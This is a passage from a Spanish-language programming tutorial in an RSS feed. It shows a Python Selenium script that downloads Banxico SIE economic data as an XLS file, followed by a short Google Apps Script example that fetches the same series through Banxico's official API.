&lt;span class="n"&gt;periodo_final&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;anoFinal&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;boton_formato&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;seleccionFormato&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;boton_xls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;seleccionFormatoXLS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Elegimos los periodos inicial y final
# Ambos con la opción que dice "Todos"
&lt;/span&gt;&lt;span class="n"&gt;periodo_inicial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_by_visible_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Todo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;periodo_final&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_by_visible_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Todo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Desplegamos la lista de opciones de formatos de descarga
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;boton_formato&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_property&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aria-expanded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;boton_formato&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Nuevamente pausamos un par de segundos para dar tiempo a la animación
&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Damos clic en el botón que corresponde a "XLS"
&lt;/span&gt;&lt;span class="n"&gt;boton_xls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Cerramos el driver
&lt;/span&gt;&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. Haciéndolo fácil: usando la API &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Como dije al inicio, el SIE dispone de una API para facilitar la automatización de la descarga de datos, por lo que no es realmente necesario usar Selenium. Solamente como una muestra, aquí está el código de Google Apps Script para obtener los mismos datos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://www.banxico.org.mx/SieAPIRest/service/v1/series/SP74825/datos/?token=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;respuesta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;UrlFetchApp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;muteHtpExceptions&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;respuestaTexto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;respuesta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContentText&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;respuestaJson&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;respuestaTexto&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Donde la variable &lt;code&gt;token&lt;/code&gt; es un string que contiene el token provisto por Banxico para acceder a su API. Como se puede ver, el camino es mucho más corto y al final se obtienen los mismos datos en formato JSON. Desgraciadamente, muchos sitios no cuentan con APIs o con vínculos permanentes que faciliten el acceso programado a los datos, por lo que el conocimiento de herramientas como Selenium se vuelve esencial para cualquiera que desee automatizar flujos de trabajo que involucren el acceso a recursos web.&lt;/p&gt;

</description>
      <category>python</category>
      <category>spanish</category>
    </item>
  </channel>
</rss>
